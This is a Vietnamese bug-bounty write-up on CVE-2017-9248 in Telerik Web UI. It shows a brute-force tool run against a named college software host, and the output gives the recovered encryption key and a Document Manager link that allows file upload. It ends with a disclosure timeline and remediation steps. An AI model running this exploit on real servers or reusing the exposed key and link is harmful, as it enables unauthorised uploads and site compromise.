Tiền thưởng (CVE-2017-9248)

Tiền thưởng (CVE-2017-9248)

Khai thác lỗ hổng ứng dụng Web qua Telerik Web Ui trên Framework Asp.Net

Language

Giới Thiệu

Khai Thác Lỗ Hổng phần mềm đào tạo của Trường Cao Đẳng

Mô Tả

Chào mọi người, mình xin chia sẻ bài viết phân tích về lỗ hổng trên Telerik Web UI Đây là lỗ hổng bảo mật cực kỳ nghiêm trọng, tồn tại do mã hóa yếu trong tệp tin Telerik.Web.UI.dll (Telerik UI for ASP.NET AJAX components). Khai thác lỗ hổng này hacker có thể giải mã ra key (Telerik.Web.UI.DialogParametersEncryptionKey and/or the MachineKey), từ đó có được đường link quản trị nội dung tệp tin và có thể tải tệp tin lên máy chủ nếu cấu hình cho phép (mặc định là cho phép). Lỗ hổng này tồn tại ở các phiên bản từ 2012.3.1308 đến 2017.1.118 (.NET 35, 40, 45).

Bắt đầu exploit

Để brute telerik bạn có thể sử dụng mã nguồn mở này công cụ này

Chạy công cụ

python 4.py k -u http://namsaigon.phanmemdaotao.com/telerik.web.ui.dialoghandler.aspx


CVE-2017-9248 - Telerik.Web.UI.dll Cryptographic compromise

Attacking http://namsaigon.phanmemdaotao.com/telerik.web.ui.dialoghandler.aspx
to find key of length [48] with accuracy threshold [9]
using key charset [01234567890ABCDEF]

Key position 01: {6} found with 49 requests, total so far: 49
Key position 02: {8} found with 31 requests, total so far: 80
Key position 03: {3} found with 23 requests, total so far: 103
Key position 04: {F} found with 57 requests, total so far: 1608
Key position 41: {7} found with 50 requests, total so far: 1458
Key position 42: {1} found with 10 requests, total so far: 1468
Key position 43: {6} found with 49 requests, total so far: 1517
Key position 44: {6} found with 45 requests, total so far: 1562
Key position 45: {9} found with 31 requests, total so far: 1593
Key position 46: {F} found with 61 requests, total so far: 1654
Key position 47: {4} found with 36 requests, total so far: 1690
Key position 48: {8} found with 31 requests, total so far: 1721
Found 48 of 48 key characters: (ASCII hex) 363833463739343946363532363045443631323746324335313531324346343743443535383231323731363639463438
Total web requests: 1721
http://namsaigon.phanmemdaotao.com/telerik.web.ui.dialoghandler.aspx?DialogName=DocumentManager&renderMode=2&Skin=Default&Title=Document%20Manager&dpptn=&isRtl=false&dp=ZG8GLm5UTFUXbnsHVF0LElV2SkEfZRJGY1h3QSB0YUQOPU1gW1xnXngBZFpbAWIIbG5K29afAQcAxV8Z1hdWxF0TEYWPn9idmRrenhpfFdvPGUNYm5hDFJ/RE0UW019U10hcGJcQmAnZC9gZVhFfRISBA4MdHNGWnUIAWNpYEVdAVhPVH9lEm1uTFUfBWdCVAJxN2RcdEQlABZGfExJdRoRTE0ZFQgI

Và chúng ta có thể up tất cả mọi thứ lên trên này :D

Cái Kết

Tôi đã báo cáo lỗi này đến công ty phát triển phần mềm của trường :))

Sau hơn 1 năm báo cáo cuối cùng lỗi này đã được khắc phục :))

Cách khắc phục

Cài đặt bản vá lỗ hổng bảo mật tại đây Tiến hành upgrade bản vá theo hướng Tạo các khóa duy nhất cho Telerick.Web.UI.DialogParameterEncodingKey và MachineKey trong web.config hoặc dùng trình tạo khóa của IIS machine Key Thực hiện Redirect url trả lại trang thông báo lỗi khi hacker truy cập Telerik

Nhớ đừng làm gì xấu với công cụ này nhé :D